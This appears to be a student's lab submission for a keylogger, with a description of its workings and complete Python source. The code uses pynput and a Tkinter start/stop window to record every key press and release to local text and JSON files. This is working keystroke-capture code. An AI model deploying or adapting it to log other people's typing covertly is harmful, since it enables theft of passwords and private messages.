**KEYLOGGER**

**WORKING PROCESS:**

1. **Start Button**: When you click the "Start" button in the GUI, the keylogger will begin capturing keyboard events. It will display a message in the GUI indicating that the keylogger is running and saving the keys in 'keylogger.txt'. The "Start" button will be disabled, and the "Stop" button will be enabled.
2. **Logging Keys**: As you type on your keyboard, the keylogger will record each key press, hold, and release event. It will save this information to two files:
   * **key\_log.txt**: This file contains the raw key inputs logged during the keylogging session.
   * **key\_log.json**: This file contains a structured representation of the logged keys in JSON format, with each key event (Pressed, Held, Released) represented as a dictionary.
3. **Stop Button**: When you click the "Stop" button in the GUI, the keylogger will stop capturing keyboard events. It will display a message in the GUI indicating that the keylogger has stopped. The "Start" button will be enabled again, and the "Stop" button will be disabled.

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  | | --- | |  |   **CODE:** | 6:10 AM (1 hour ago) |  | https://mail.google.com/mail/u/0/images/cleardot.gif  https://mail.google.com/mail/u/0/images/cleardot.gif |
| |  | | --- | | https://mail.google.com/mail/u/0/images/cleardot.gif | | |  |

import tkinter as tk

from tkinter import \*

from pynput import keyboard

import json

keys\_used = []

flag = False

keys = ""

def generate\_text\_log(key):

    with open('key\_log.txt', "w+") as keys:

        keys.write(key)

def generate\_json\_file(keys\_used):

    with open('key\_log.json', '+wb') as key\_log:

        key\_list\_bytes = json.dumps(keys\_used).encode()

        key\_log.write(key\_list\_bytes)

def on\_press(key):

    global flag, keys\_used, keys

    if flag == False:

        keys\_used.append(

            {'Pressed': f'{key}'}

        )

        flag = True

    if flag == True:

        keys\_used.append(

            {'Held': f'{key}'}

        )

    generate\_json\_file(keys\_used)

def on\_release(key):

    global flag, keys\_used, keys

    keys\_used.append(

        {'Released': f'{key}'}

    )

    if flag == True:

        flag = False

    generate\_json\_file(keys\_used)

    keys = keys + str(key)

    generate\_text\_log(str(keys))

def start\_keylogger():

    global listener

    listener = keyboard.Listener(on\_press=on\_press, on\_release=on\_release)

    listener.start()

    label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")

    start\_button.config(state='disabled')

    stop\_button.config(state='normal')

def stop\_keylogger():

    global listener

    listener.stop()

    label.config(text="Keylogger stopped.")

    start\_button.config(state='normal')

    stop\_button.config(state='disabled')

root = Tk()

root.title("Keylogger")

label = Label(root, text='Click "Start" to begin keylogging.')

label.config(anchor=CENTER)

label.pack()

start\_button = Button(root, text="Start", command=start\_keylogger)

start\_button.pack(side=LEFT)

stop\_button = Button(root, text="Stop", command=stop\_keylogger, state='disabled')

stop\_button.pack(side=RIGHT)

root.geometry("250x250")

root.mainloop()

**OUTPUT:**

The actual output of the keylogger is saved in two files:

1. **key\_log.txt**: This file contains the raw key inputs logged during the keylogging session.
2. **key\_log.json**: This file contains a structured representation of the logged keys in JSON format, with each key event (Pressed, Held, Released) represented as a dictionary.

**NAME:JEYALAKSHMI**

**REG NO:950321104021**